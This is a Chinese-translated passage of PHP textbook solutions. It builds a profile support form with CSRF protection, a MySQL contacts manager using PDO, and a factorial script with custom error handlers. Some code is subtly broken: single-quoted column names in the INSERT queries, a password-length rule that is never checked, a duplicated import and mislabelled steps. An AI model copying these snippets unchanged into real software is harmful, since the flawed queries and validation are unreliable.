    18            class="form-control <?= isset($formErrors['name']) ?                 'is-invalid' : ''; ?>"
    19            value="<?= htmlentities($_POST['name'] ?? ''); ?>">
    20     <?php if (isset($formErrors['name'])) {
    21         echo sprintf('<div class="invalid-feedback">%s</div>',              htmlentities($formErrors['name']));
    22     } ?>
    23 </div>
    https://packt.live/33NQZ2b
    
  7. 由于标准级别用户每天只能发送一次表单,尝试发送更多消息应该会显示错误消息,我们可以将其分配给表单级别,并直接在表单顶部显示。此外,我们还可以再次使用警报组件,这次使用danger红色背景:

    <?php if (isset($formErrors['form'])) { ?>
        <div class="alert alert-danger"><?= $formErrors['form']; ?></div>
    <?php } ?>
    
  8. 我们还需要为了安全起见,将 CSRF 令牌添加到表单中:

    <input type="hidden" name="csrf-token" value="<?= $formCsrfToken ?>">
    
  9. 在提交按钮上,我们可能想要添加更多表单数据,这样我们就可以确定在 PHP 脚本中处理哪个表单;当单个 HTML 页面上添加多个表单且每个表单都向同一 URL 发送数据时,这非常有用:

    <button type="submit" name="do" value="get-support" class="btn btn-lg   btn-primary">Send</button>
    
  10. 对于消息列表历史,我们可以选择card组件,并打印每条消息的详细信息。每个历史条目将包含表单数据(即form键)和表单发送的时间(即timeAdded键):

    <?php foreach ($sentForms as $item) { ?>
        <div class="card mb-2">
            <div class="card-body">
                <h5 class="card-text"><?= htmlentities($item['form']              ['message']) ?></h5>
                <h6 class="card-subtitle mb-2 text-muted">
                    <strong>Added:</strong> <?=                   htmlentities($item['timeAdded']) ?></h6>
                <h6 class="card-subtitle mb-2 text-muted">
                    <strong>Reply-to:</strong> <?= sprintf('%s &lt;%s&gt;',                   htmlentities($item['form']['name']),                   htmlentities($item['form']['email'])) ?>
                </h6>
            </div>
        </div>
    <?php } ?>
    

    注意

    profile.php中的完整代码可以参考:packt.live/2pvh0or

  11. 现在我们已经准备好了布局,接下来让我们进入\Handlers\Profile处理器中的处理部分。首先,我们需要添加的是在POST请求情况下的处理表单。如果表单验证失败,processContactForm()将返回一个错误数组:

    $formErrors = $this->processContactForm($_POST);
    
  12. 如果没有返回错误,这意味着表单已验证并成功保存;因此,我们可以刷新页面。

    if (!count($formErrors)) {
        $this->requestRefresh();
        return '';
    }
    
  13. 在模板中我们需要发送的数据是用户名(即问候语);如果有,表单错误;表单 CSRF 令牌;以及发送的表单的历史记录:

    return (new \Components\Template('profile'))->render([
        'username' => $_SESSION['username'],
        'formErrors' => $formErrors ?? null,
        'sentForms' => $_SESSION['sentForms'] ?? [],
        'formCsrfToken' => $this->getCsrfToken(),
    ]);
    
  14. 到目前为止,我们已经提到了三个尚不存在的方法。让我们逐一解决它们,首先是getCsrfToken()方法。此方法将返回存储在用户会话中的 CSRF 令牌,如果不存在,则创建并设置一个。为了生成令牌字符串,我们可以使用与练习 6.9中相同的方法,防止 CSRF 攻击

    private function getCsrfToken(): string
    {
        if (!isset($_SESSION['csrf-token'])) {
            $_SESSION['csrf-token'] = bin2hex(random_bytes(32));
        }
        return $_SESSION['csrf-token'];
    }
    
  15. processContactForm()方法返回表单错误列表,因此它必须首先验证数据。对validateForm()方法的调用应返回带有清理数据的表单以及错误列表(如果有):

    list($form, $errors) = $this->validateForm($data);
    
  16. 如果$errors数组为空,则保存经过清理的表单数据,并附加额外信息,例如添加的时间和日期(这对于检查标准级别用户是否已经在当天添加了一条消息很有用)。由于数据持久性将在下一章中探讨,我们将使用我们已有的方法来存储数据,在这种情况下,我们将使用临时会话存储。表单将存储在sentForms键下;因此,$_SESSION['sentForms']成为已发送表单的历史记录:

    $_SESSION['sentForms'][] = [
        'dateAdded' => date('Y-m-d'),
        'timeAdded' => date(DATE_COOKIE),
        'form' => $form,
    ];
    
  17. validateForm()方法将首先检查 CSRF 令牌:

    if (!isset($data['csrf-token']) || $data['csrf-token'] !==   $this->getCsrfToken()) {
        $errors['form'] = 'Invalid token, please refresh the page and try       again.';
    }
    
  18. 然后,我们检查标准级别用户的多重提交:

    if (($_SESSION['userdata']['level'] === 'STANDARD')
        && $this->hasSentFormToday($_SESSION['sentForms'] ?? [])
    ) {
        $errors['form'] = 'You are only allowed to send one form per day.';
    }
    
  19. 名称验证需要非空输入如下:

    $name = trim($data['name'] ?? '');
    if (empty($name)) {
        $errors['name'] = 'The name cannot be empty.';
    }
    
  20. 使用filter_var()函数和FILTER_VALIDATE_EMAIL验证执行电子邮件验证:

    if (empty($data['email'] ?? '')) {
        $errors['email'] = 'The email cannot be empty.';
    } elseif (!filter_var($data['email'], FILTER_VALIDATE_EMAIL)) {
        $errors['email'] = 'The email address is invalid.';
    }
    
  21. 消息验证需要至少 40 个字符长度的消息:

    $message = trim($data['message'] ?? '');
    if (!$message) {
        $errors['message'] = 'The message cannot be empty.';
    }
    if (strlen($message) <= 40) {
        $errors['message'] = 'The message is too short.';
    }
    
  22. 清理后的表单数据被收集并存储在$form变量中,然后与预期的$errors变量一起返回:

    $form = [
        'name' => $name,
        'email' => $data['email'],
        'message' => $message,
    ];
    return [$form, $errors];
    
  23. 我们引用了另一个方法:hasSentFormToday()。此方法需要表单历史记录作为第一个参数,它所做的是遍历历史记录并检查是否在当天注册了消息。一旦找到一条消息,它将立即返回TRUE

    private function hasSentFormToday(array $sentForms): bool
    {
        $today = date('Y-m-d');
        foreach ($sentForms as $sentForm) {
            if ($sentForm['dateAdded'] === $today) {
                return true;
            }
        }
        return false;
    }
    
  24. 我们还没有介绍的是requestRefresh()方法。此方法将调用requestRedirect()方法,并提供当前请求 URI:

    private function requestRefresh()
    {
        $this->requestRedirect($_SERVER['REQUEST_URI']);
    }
    

    注意

    处理器 Profile.php 中的最终代码可以参考:packt.live/2VREaRY

  25. 现在,我们可以测试我们的完整实现。访问http://127.0.0.1:8080/profile的个人资料页面:图 6.42:个人资料页面的认证

    图 6.42:个人资料页面的认证

  26. 让我们以标准级别用户身份登录,为UsernamePassword都输入user图 6.43:登录页面

    图 6.43:登录页面

    我们被重定向到个人资料页面,并可以看到我们迄今为止所工作的 HTML 元素。

  27. 通过发送一个空表单,我们应该得到所有带有错误标记的输入:图 6.44:发送空表单

    图 6.44:发送空表单

  28. 通过为UsernamePassword都输入invalid@email,以及一个简短的句子作为消息,我们应该得到另一个错误,例如电子邮件地址无效消息太短图 6.45:无效输入的消息

    图 6.45:无效输入的消息

  29. 发送有效数据应导致成功保存表单操作,并在发送消息列表中进行列出:

    你可以尝试以下数据:

    姓名:Luigi

    电子邮件:luigi@marionbros.mb

    消息:我希望能够上传个人头像。您考虑添加这个功能吗?

    图 4.46:显示已发送消息的列表

    图 4.46:显示已发送消息的列表

  30. 尝试在同一天发布更多消息将导致错误:图 6.47:发布更多消息导致错误

    图 6.47:发布更多消息导致错误

  31. 让我们注销(为此,点击问候头部的注销按钮)并以 VIP 级用户身份登录,使用vip作为用户名密码图 6.48:VIP 用户的欢迎消息

    图 6.48:VIP 用户的欢迎消息

  32. 让我们添加第一条消息:

    姓名:马里奥

    电子邮件:mario@marionbros.mb

    消息:我希望能够上传个人头像。您考虑添加这个功能吗?

    图 6.49:添加第一条消息

    图 6.49:添加第一条消息

    如预期的那样,看起来不错。

  33. 现在,让我们尝试添加另一条消息;这次,我们应该能够无限制地添加消息:

    姓名:马里奥

    电子邮件:mario@marionbros.mb

    消息:我能否通过购买时使用的支付方式来过滤我的订单历史?

    图 6.50:无限制添加消息的输出

图 6.50:无限制添加消息的输出

如您所见,我们成功添加了另一个条目,正如预期的那样。

7. 数据持久性

活动 7.1:联系管理应用程序

解决方案

让我们讨论新或更改的项目,从最解耦的到最复杂的。

这里一个好的开始是User模型类,因为这个类将在每个页面上为认证用户调用;让我们把这个文件放在src/models/目录里:

  1. 创建src/models/User.php文件并添加以下内容。

  2. 在声明命名空间和导入(use关键字)之后,我们定义User类的属性,给定的名称类似于数据库中users表的列名:

    <?php 
    declare(strict_types=1);
    namespace Models;
    use DateTime;
    class User
    {
        /** @var int */
        private $id;
        /** @var string */
        private $username;
        /** @var string */
        private $password;
        /** @var DateTime */
        private $signupTime;
    
  3. 添加构造函数,该函数需要一个表示users表记录的输入数组,并且对于每个类字段,从输入数组中获取适当的值;还要添加 getter 方法:

    User.php
    21     public function __construct(array $input)
    22     {
    23         $this->id = (int)($input['id'] ?? 0);
    24         $this->username = (string)($input['username'] ?? '');
    25         $this->password = (string)($input['password'] ?? '');
    26         $this->signupTime = new DateTime($input['signup_time'] ?? 'now',              new \DateTimeZone('UTC'));
    27     }
    28 
    29     public function getId(): int
    30     {
    31         return $this->id;
    32     }
    https://packt.live/2Br0x7k
    
  4. 最后,添加一个执行密码匹配的方法,需要原始输入值(与登录表单一起提交的值):

        public function passwordMatches(string $formPassword): bool
        {
            return password_verify($formPassword, $this->password);
        }
    }
    

    这个类旨在表示users表中的数据库记录。constructor函数将确保每个字段都会得到其自己的数据类型。以下方法是简单的 getter,而最后一个方法Users::passwordMatches()是验证登录时输入密码的便捷方式。

    由于User实体与认证机制紧密相关,让我们看看Auth组件会是什么样子。

  5. 创建src/components/Auth.php文件。

  6. 声明命名空间、导入,并在 Auth 类中添加返回当前会话信息的 userIsAuthenticated()getLastLogin() 方法。在 src/components/Auth.php 文件中添加以下内容:

    <?php declare(strict_types=1);
    namespace Components;
    use DateTime;
    use Models\User;
    class Auth
    {
        public static function userIsAuthenticated(): bool
        {
            return isset($_SESSION['userid']);
        }
        public static function getLastLogin(): DateTime
        {
            return DateTime::createFromFormat('U',           (string)($_SESSION['loginTime'] ?? ''));
        }
    
  7. 添加在用户认证时返回 User 实例的方法:

        public static function getUser(): ?User
        {
            if (self::userIsAuthenticated()) {
                return Database::getUserById((int)$_SESSION['userid']);
            }
            return null;
        }
    
  8. 添加通过认证或注销用户来修改会话状态的方法:

        public static function authenticate(int $id)
        {
            $_SESSION['userid'] = $id;
            $_SESSION['loginTime'] = time();
        }
        public static function logout()
        {
            if (session_status() === PHP_SESSION_ACTIVE) {
                session_regenerate_id(true);
                session_destroy();
            }
        }
    }
    
  9. 创建 src/components/Database.php 文件并添加以下内容。

  10. 添加通常的命名空间声明和导入:

    <?php declare(strict_types=1);
    namespace Components;
    use Models\User;
    use PDO;
    use PDOStatement;
    
  11. 定义 Database 类并添加 construct 方法。在 construct 方法中,你将实例化 PDO 对象,建立数据库连接。为了在 Database 类内部重用 PDO 对象,你将其设置为 Database 类的 $pdo 私有字段:

    class Database
    {
        public $pdo;
        private function __construct()
        {
            $dsn = "mysql:host=mysql-host;port=3306;dbname=app;charset=utf           8mb4";
            $options = [
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            ];
            $this->pdo = new PDO($dsn, "php-user", "php-pass", $options);
        }
    
  12. 添加 instance() 方法,当调用此方法时返回相同的 Database 实例(单例模式):

    public static function instance()
        {
            static $instance;
            if (is_null($instance)) {
                $instance = new static();
            }
            return $instance;
        }
    
  13. 接下来,让我们添加与 users 表相关的方 法,让我们从 addUser() 方法开始;此方法将需要用户名和原始密码作为输入参数,返回值将是 PDOStatement 实例。对于所有涉及用户输入数据的查询,都将使用预处理语句:

    public function addUser(string $username, string $password): PDOStatement
        {
            $stmt = $this->pdo->prepare("INSERT INTO users ('username',           'password') values (:user, :pass)");
            $stmt->execute([
                ':user' => $username,
                ':pass' => password_hash($password, PASSWORD_BCRYPT),
            ]);
            return $stmt;
        }
    

    注意

    在这种情况下,建议返回 PDOStatement 实例,而不是布尔值 true/false,因为前者在操作失败时可以提供更多信息(例如,PDOStatement::errorInfo())。

  14. 添加查询数据库中用户的两个方法——getUserByUsername()getUserById() 方法。正如它们的名称所暗示的,一个方法需要一个用户名,另一个需要一个数值 ID。当查询的记录存在时,这两个方法都将返回 User 实例,否则返回 null

    Database.php
    41     public function getUserByUsername(string $formUsername): ?User
    42     {
    43         $stmt = $this->pdo->prepare("SELECT * FROM users WHERE username =              :username");
    44         if ($stmt->execute([':username' => $formUsername]) && ($data =              $stmt->fetch(PDO::FETCH_ASSOC))) {
    45             return new User($data);
    46         }
    47         return null;
    48     }
    https://packt.live/2pz4AMh
    

    注意到 if (stmt->execute() && ($data = $stmt->fetch(PDO::FETCH_ASSOC))) { /* ... */ } 这个表达式。这是一个执行评估-赋值-评估类型操作的组合表达式,并且与以下表达式相同:

    if (stmt->execute()) { // evaluation
      $data = $stmt->fetch(PDO::FETCH_ASSOC); // assignment
      if ($data) { // evaluation
       /* ... */
     }
    }
    

    虽然后者块可能看起来更易读,特别是对于初学者开发者来说,但前者表达式可能看起来更简洁,特别是对于经验丰富的开发者。两种方法都是有效的,最终,这取决于主观偏好。

  15. 我们已经完成了 users 表的处理;现在,让我们添加一些与联系人表相关的查询。添加 getOwnContacts() 方法,该方法需要提供要检索联系人列表的用户 ID。在这种情况下,也会返回 PDOStatement 实例,就像在更改数据库状态(INSERT/UPDATE/DELETE)的查询中一样。这种方法更受欢迎,因为它在从 PDOStatement 返回数据时提供了更大的灵活性——可以作为关联数组、作为类的实例等。此外,在处理大型结果集时,它有助于避免因内存耗尽而导致的高内存使用或脚本失败。逐个迭代大型结果集、加载并丢弃记录,这种方法比将整个结果集加载到内存中更节省内存:

        public function getOwnContacts(int $uid): PDOStatement
        {
            $stmt = $this->pdo->prepare("SELECT * FROM contacts WHERE user_id           = :uid");
            $stmt->bindParam(':uid', $uid, PDO::PARAM_INT);
            $stmt->execute();
            return $stmt;
        }
    
  16. 添加 getOwnContactById() 方法,当需要从数据库中检索一条记录以填充编辑联系人表单时,此方法非常有用。此方法需要两个参数,即拥有联系人的用户 ID 和联系人 ID。如果找到记录,则返回关联数组,否则返回 null

        public function getOwnContactById(int $ownerId, int $contactId):       ?array
        {
            $stmt = $this->pdo->prepare("SELECT * FROM contacts WHERE           id = :cid and user_id = :uid");
            $stmt->bindParam(':cid', $contactId, PDO::PARAM_INT);
            $stmt->bindParam(':uid', $ownerId, PDO::PARAM_INT);
            if ($stmt->execute() && ($data = $stmt->fetch(PDO::FETCH_ASSOC)))
            {
                return $data;
            }
            return null;
        }
    
  17. 添加 addContact() 方法。此方法需要为 contacts 表的每一列提供一个参数列表,除了 id 列,其值由 MySQL 生成。此方法将返回 PDOStatement 实例:

    Database.php
    79    public function addContact(
    80         int $ownerId,
    81         string $name,
    82         string $email,
    83         string $phone,
    84         string $address
    85     ): PDOStatement
    86     {
    87         $stmt = $this->pdo->prepare("INSERT INTO contacts (user_id,           'name', phone, email, address) " .
    88             "VALUES (:uid, :name, :phone, :email, :address)");
    https://packt.live/31rQoll
    
  18. 添加 updateContact() 方法。此方法与 addContact() 方法类似,但还需要提供联系人 ID,用于匹配要更新的记录,以及用户 ID。此方法将返回 PDOStatement 实例:

    Database.php
    98     public function updateContact(
    99         int $contactId,
    100         int $ownerId,
    111         string $name,
    112         string $email,
    113         string $phone,
    114         string $address
    115     ): PDOStatement
    https://packt.live/31oY47W
    
  19. 添加 deleteOwnContactById() 方法,需要提供拥有联系人的用户 ID 和联系人 ID。这两个输入参数将用于匹配要删除的记录。此方法将返回 PDOStatement 实例:

        public function deleteOwnContactById(int $ownerId, int $contactId):       PDOStatement
        {
            $stmt = $this->pdo->prepare("DELETE FROM contacts WHERE id = :cid           and user_id = :uid");
            $stmt->bindParam(':cid', $contactId, PDO::PARAM_INT);
            $stmt->bindParam(':uid', $ownerId, PDO::PARAM_INT);
            $stmt->execute();
            return $stmt;
        }
    
  20. Router 组件(src/components/Router.php 文件)现在将覆盖 /signup/contacts URI。高亮部分是新增内容:

    Router.php
    1  <?php declare(strict_types=1);
    2 
    3  namespace Components;
    4 
    5  use Handlers\Contacts;
    6  use Handlers\Signup;
    7  use Handlers\Login;
    8  use Handlers\Logout;
    9  use Handlers\Profile;
    10 use Handlers\Signup;
    https://packt.live/2MTj4OR
    
  21. '/' 路由(主页)的情况下,会执行当前认证用户的检查,如果返回值为正,则请求重定向到 /profile。否则,直接返回 home 模板:

    Router.php
    21             case '/profile':
    22                 return new Profile();
    23             case '/login':
    24                 return new Login();
    25             case '/logout':
    26                 return new Logout();
    27             case '/':
    28                 return new class extends Handler
    29                 {
    30                     public function __invoke(): string
    31                     {
    32                         if (Auth::userIsAuthenticated()) {
    33                             $this->requestRedirect('/profile');
    34                         }
    https://packt.live/2BrvFn6
    
  22. 让我们检查新的和修改后的处理器。首先,让我们实现联系人页面;这是列出联系人并允许添加新条目和编辑现有条目的页面。创建 src/handlers/Contacts.php 文件并添加以下内容。声明 Handlers 命名空间并添加导入:

    <?php declare(strict_types=1);
    namespace Handlers;
    use Components\Auth;
    use Components\Database;
    use Components\Template;
    class Contacts extends Handler
    {
    
  23. 添加 handle() 方法,并从身份验证检查开始。如果用户未认证,则显示登录表单;否则,检索用户:

        public function handle(): string
        {
            if (!Auth::userIsAuthenticated()) {
                return (new Login)->handle();
            }
            $user = Auth::getUser();
    
  24. $formError$formData 变量初始化为数组;它们将用于收集有用的信息,例如用于填充 HTML 表单的表单数据或错误消息:

            $formError = [];
            $formData = [];
    
  25. POST HTTP 方法的情况下,处理表单(调用单独的方法,以提高当前方法的可读性)。如果没有返回错误,则将用户重定向到联系人页面(刷新页面):

            if ($_SERVER['REQUEST_METHOD'] === 'POST') {
                $formError = $this->processForm();
                if (!$formError) {
                    $this->requestRedirect('/contacts');
                    return '';
                }
                $formData = $_POST;
            }
    
  26. 如果查询字符串中存在 edit 条目,则表单数据将是数据库中的记录——一个联系人将被编辑。表单数据在 HTML 页面的编辑联系人表单上呈现:

    if (!empty($_GET['edit'])) {
                $formData = Database::instance()->getOwnContactById               ($user->getId(), (int)$_GET['edit']);
            }
    
  27. 如果查询字符串中存在 delete 条目,则记录将被删除,并将执行重定向到联系人页面(刷新页面):

    if (!empty($_GET['delete'])) {
                Database::instance()->deleteOwnContactById($user->getId(),               (int)$_GET['delete']);
                $this->requestRedirect('/contacts');
                return '';
            }
    
  28. handle() 方法的最后部分,将渲染 contacts 模板(联系人页面),提供之前定义的变量中的数据,然后返回:

            return (new Template('contacts'))->render([
                'user' => $user,
                'contacts' => Database::instance()->getOwnContacts               ($user->getId()),
                'formError' => $formError,
                'formData' => $formData,
            ]);
    
  29. 实现上述的 processForm() 方法。在第一部分,按照要求验证输入数据:

    Contacts.php
    46     private function processForm(): array
    47     {
    48         $formErrors = [];
    49         if (empty($_POST['name'])) {
    50             $formErrors['name'] = 'The name is mandatory.';
    51         } elseif (strlen($_POST['name']) < 2) {
    52             $formErrors['name'] = 'At least two characters are required                  for name.';
    53         }
    54         if (!filter_var($_POST['email'] ?? '', FILTER_VALIDATE_EMAIL)) {
    55             $formErrors['email'] = 'The email is invalid.';
    56         }
    https://packt.live/2pxEYiQ
    
  30. 如果 $formErrors 数组为空,则继续更新联系人或插入新记录。为了决定是插入新记录还是更新现有记录,脚本将在 POST 数据中查找 ID 参数,该参数将是正在编辑的联系人 ID。最后,返回 $formErrors 变量:

        if (!$formErrors) {
            if (!empty($_POST['id']) && ($contactId = (int)$_POST['id'])) {
                Database::instance()->updateContact($contactId,               Auth::getUser()->getId(), $_POST['name'], $_POST['email'],               $_POST['phone'] ?? '', $_POST['address'] ?? '');
            } else {
                Database::instance()->addContact(Auth::getUser()->getId(),               $_POST['name'], $_POST['email'], $_POST['phone'] ?? '',               $_POST['address'] ?? '');
            }
        }
        return $formErrors;
    }
    
  31. 注册页面:此页面用于将新用户添加到数据库中。创建 src/handlers/Signup.php 文件,并添加以下内容。声明 Handlers 命名空间并添加导入。添加带有 handle() 方法的注册类。此方法将检查用户是否已经认证,如果是,则将他们重定向到个人资料页面。在 POST 请求的情况下,它们将调用 handleSignup() 方法来处理 POST 数据。最后,返回渲染的 signup-form 模板,提供所需的数据:

    Signup.php
    1 <?php 
    2 declare(strict_types=1);
    3 
    4 namespace Handlers;
    5 
    6 use Components\Auth;
    7 use Components\Database;
    8 use Components\Template;
    https://packt.live/2W2TWJS
    
  32. 添加 handleSignup() 方法以处理注册表单数据。首先,按照要求验证输入数据。如果验证成功,则继续插入新记录,如果查询执行成功,则验证新用户并将他们重定向到个人资料页面:

    Signup.php
    32     private function handleSignup(): ?array
    33     {
    34         $formError = null;
    35         $formUsername = trim($_POST['username'] ?? '');
    36         $formPassword = trim($_POST['password'] ?? '');
    37         $formPasswordVerify = $_POST['passwordVerify'] ?? '';
    38         if (!$formUsername || strlen($formUsername) < 3) {
    39             $formError = ['username' => 'Please enter an username of at                  least 3 characters.'];
    40         } elseif (!ctype_alnum($formUsername)) {
    41             $formError = ['username' => 'The username should contain only                  numbers and letters.'];
    42         } elseif (!$formPassword) {
    43             $formError = ['password' => 'Please enter a password of at                  least 6 characters.'];
    44         } elseif ($formPassword !== $formPasswordVerify) {
    45             $formError = ['passwordVerify' => 'The passwords doesn\'t                  match.'];
    46         } else {
    47             $stmt = Database::instance()                 ->addUser(strtolower($formUsername), $formPassword);
    https://packt.live/32pPGX7
    
  33. 个人资料页面是一个简单的页面,它将只显示一些用户信息和当前会话登录时间。打开个人资料页面处理程序——src/handlers/Profile.php——并确保只保留 handle() 方法,该方法只会打印个人资料页面。在未经认证的用户的情况下,它将打印登录表单:

    <?php
    declare(strict_types=1);
    namespace Handlers;
    use Components\Auth;
    use Components\Template;
    class Profile extends Handler
    {
        public function handle(): string
        {
            if (!Auth::userIsAuthenticated()) {
                return (new Login)->handle();
            }
            return (new Template('profile'))->render();
        }
    }
    
  34. 登出页面:此页面将用户登出。打开 src/handlers/Logout.php 文件,并确保使用 Auth 组件来登出用户:

    <?php
    declare(strict_types=1);
    namespace Handlers;
    use Components\Auth;
    class Logout extends Handler
    {
        public function handle(): string
        {
            Auth::logout();
            $this->requestRedirect('/');
            return '';
        }
    }
    
  35. 登录页面:这个页面验证用户名和密码。打开src/handlers/Login.php文件,并确保执行必要的调整。Handlers\Login::handle()方法将认证用户重定向到个人资料页面。否则,它将执行与上一个活动相同的流程,但在每个步骤中会以不同的方式评估数据。这是因为现在它使用数据库作为数据源,并使用具有执行密码验证的专用方法的用户模型(差异已突出显示)。因此,在POST请求的情况下,首先通过调用Database::getUserByUsername()从数据库中检索用户,然后评估他们($user值可以是User对象或 null)。如果没有找到并返回用户,则在$formError变量中设置错误消息。下一步是验证登录密码,并在出错的情况下,在$formError变量中设置错误消息。最后,如果所有检查点都已通过,将通过调用Auth::authenticate()方法进行认证,然后重定向到个人资料页面。如果请求不是POST类型,或者用户名或密码存在问题,将渲染并返回登录表单模板(登录页面):

    Login.php
    1  <?php
    2  declare(strict_types=1);
    3 
    4  namespace Handlers;
    5 
    6  use Components\Auth;
    7  use Components\Database;
    8  use Components\Template;
    9 
    10 class Login extends Handler
    11 {
    12     public function handle(): string
    13     {
    14         if (Auth::userIsAuthenticated()) {
    15             $this->requestRedirect('/profile');
    16             return '';
    17         }
    https://packt.live/2JjzX4z
    
  36. 应用的入口点(web/index.php)不会改变逻辑;它只会要求新的脚本文件(突出显示的行):

    index.php
    1  <?php
    2  declare(strict_types=1);
    3 
    4  use Components\Router;
    5  use Components\Template;
    6 
    7  const WWW_PATH = __DIR__;
    8  
    9  require_once __DIR__ . '/../src/components/Auth.php';
    10 require_once __DIR__ . '/../src/components/Database.php';
    11 require_once __DIR__ . '/../src/components/Template.php';
    12 require_once __DIR__ . '/../src/components/Router.php';
    13 require_once __DIR__ . '/../src/handlers/Handler.php';
    14 require_once __DIR__ . '/../src/handlers/Login.php';
    15 require_once __DIR__ . '/../src/handlers/Logout.php';
    https://packt.live/2P1f7ud
    

    现在来看一下模板——让我们看看有什么变化。

  37. 首先,是main模板——src/templates/main.php文件。更改已突出显示,并进一步注释。navbar已更改为联系人列表。如请求,navbar 链接是用户名(链接到个人资料页面)、联系人以及已认证用户的登出,对于未认证用户是登录。默认内容现在已被home模板替换:

    main.php
    1 <?php use Components\Auth; ?>
    2 <!doctype html>
    3 <html lang="en">
    4 <head>
    5     <meta charset="utf-8">
    6     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    8     <title><?= ($title ?? '(no title)') ?></title>
    https://packt.live/2VU7zuG
    
  38. 现在,是home模板——src/templates/home.php文件。这个模板打印出两个链接——注册和登录,正如所请求的:

    <div class="jumbotron">
        <h1 class="display-4">Hello!</h1>
        <p class="lead"><a href="/signup">Sign up</a> to start creating your       contacts list.</p>
        <p class="lead">Already have an account? <a href="/login">Login here</a>.</p>
    </div>
    
  39. 现在,是login-form模板——src/templates/login-form.php文件。在这个模板中,只添加了指向“注册”页面的链接(突出显示):

    login-form.php
    1 <?php
    2 /** @var array $formError */
    3 /** @var string $formUsername */
    4 ?>
    5 <div class="d-flex justify-content-center">
    6     <form action="/login" method="post" style="width: 100%; max-width: 420px;">
    7         <div class="text-center mb-4">
    8             <h1 class="h3 mb-3 mt-5 font-weight-normal">Authenticate</h1>
    9         </div>
    https://packt.live/2MYqXTr
    
  40. 现在,是signup-form模板——src/templates/signup-form.php文件。这个模板与login模板类似。唯一的不同之处在于表单操作(/signup)、标题(Sign up)、额外的输入(Password verify),以及链接指向登录页面:

    signup-form.php
    1 <?php
    2 /** @var array $formError */
    3 /** @var string $formUsername */
    4 ?>
    5 <div class="d-flex justify-content-center">
    6     <form action="/signup" method="post" style="width: 100%; max-width: 420px;">
    7         <div class="text-center mb-4">
    8             <h1 class="h3 mb-3 mt-5 font-weight-normal">Sign up</h1>
    9         </div>
    https://packt.live/2MXzeXo
    
  41. 现在,是profile模板——src/templates/profile.php文件。个人资料页面模板看起来与上一个活动中的完全不同。现在,它只是输出一个欢迎信息和一些最小限度的用户信息:用户名、注册日期和会话登录时间:

    profile.php
    1  <?php
    2 
    3  use Components\Auth;
    4 
    5  $user = Auth::getUser();
    6  ?>
    7 
    8  <section class="my-5">
    9      <h3>Welcome, <?= $user->getUsername() ?>!</h3>
    10 </section>
    https://packt.live/2BmQRL0
    
  42. 现在,contacts 模板,联系人列表 – src/templates/contacts.php 文件(第一部分)。联系人页面模板有两个主要区域:一方面是联系人列表,另一方面是联系人表单(具有添加/编辑操作)。在渲染联系人列表之前,PDOStatement(存储在 $contacts 变量中)被“询问”行数,如果没有行,则打印消息 No contacts。如果行数返回至少一行,则打印表格,使用 while 循环遍历 $contacts 的结果。为每个联系人打印 EditDelete 按钮。对于 Delete 按钮,使用确认对话框,利用 onclick 标签属性和 confirm() JavaScript 函数:

    contacts.php
    1 <?php
    2 /** @var \PDOStatement $contacts */
    3 /** @var array $formError */
    4 /** @var array $formData */
    5 ?>
    6 <section class="my-5">
    7     <h3>Contacts</h3>
    8 </section>
    https://packt.live/2pDdjwF
    
  43. 现在,contacts 模板,编辑表单 – src/templates/contacts.php 文件(第二部分)。联系人添加/编辑表单具有四个可见输入(nameemailphoneaddress),一个隐藏输入(编辑时为联系人 ID,否则为 0),以及 Save 按钮:

contacts.php
33 <div class="col-12 col-lg-4">
34         <h4 class="mb-3">Add contact:</h4>
35         <form method="post">
36             <div class="form-row">
37                 <div class="form-group col-6">
38                     <label for="contactName">Name</label>
39                     <input type="text" class="form-control <?=                          isset($formError['name']) ? 'is-invalid' : ''; ?>"
40                            id="contactName" placeholder="Enter name"                                 name="name"
41                            value="<?= htmlentities($formData['name'] ??                                 '') ?>">
https://packt.live/2VU7UgW

因此,我们已创建了一个基于本章迄今为止所涵盖的概念的联系人管理系统。

8. 错误处理

活动 8.1:通过处理系统和用户级错误来改进用户体验

解决方案

  1. 创建一个名为 factorial.php 的文件。

  2. 首先,添加异常处理程序,以便将异常记录到日志文件中,将使用 fopen() 函数创建数据流资源,并将其分配给静态变量 $fh

    $exceptionHandler = function (Throwable $e) {
        static $fh;
        if (is_null($fh)) {
            $fh = fopen(__DIR__ . '/app.log', 'a');
            if (!$fh) {
                echo 'Unable to access the log file.', PHP_EOL;
                exit(1);
            }
        }
    
  3. 使用 fwrite() 函数格式化日志消息并将其写入日志文件:

        $message = sprintf('%s [%d]: %s', get_class($e), $e->getCode(),       $e->getMessage());
        $msgLength = mb_strlen($message);
        $line = str_repeat('-', $msgLength);
        $logMessage = sprintf(
            "%s\n%s\n> File: %s\n> Line: %d\n> Trace: %s\n%s\n",
            $line,
            $message,
            $e->getFile(),
            $e->getLine(),
            $e->getTraceAsString(),
            $line
        );
        fwrite($fh, $logMessage);
    };
    
  4. 定义错误处理程序,该处理程序将错误转换为异常并将这些错误转发到异常处理程序。此错误处理程序旨在收集所有报告的系统错误,这些错误需要作为异常处理(在我们的情况下,以特定格式记录到文件中):

    $errorHandler = function (int $code, string $message, string $file,   int $line) use ($exceptionHandler) {
        $exception = new ErrorException($message, $code, $code, $file, $line);
        $exceptionHandler($exception);
        if (in_array($code, [E_ERROR, E_RECOVERABLE_ERROR, E_USER_ERROR])) {
            exit(1);
        }
    };
    
  5. 使用 set_error_handler()set_exception_handler() 注册这两个处理程序:

    set_error_handler($errorHandler);
    set_exception_handler($exceptionHandler);
    
  6. 为每个验证规则创建一个自定义异常列表:

    class NotANumber extends Exception {}
    class DecimalNumber extends Exception {}
    class NumberIsZeroOrNegative extends Exception {}
    
  7. 创建 printError() 函数,该函数将在输入消息前添加 (!)

    function printError(string $message): void
    {
        echo '(!) ', $message, PHP_EOL;
    }
    
  8. 创建 calculateFactorial() 函数,该函数最初将验证输入参数。如果任何验证失败,将抛出适当的异常,包括有关验证失败的具体消息:

    function calculateFactorial($number): int
    {
        if (!is_numeric($number)) {
            throw new NotANumber(sprintf('%s is not a number.', $number));
        }
        $number = $number * 1;
        if (is_float($number)) {
            throw new DecimalNumber(sprintf('%s is decimal; integer is           expected.', $number));
        }
        if ($number < 1) {
            throw new NumberIsZeroOrNegative(sprintf('Given %d while higher           than zero is expected.', $number));
        }
    

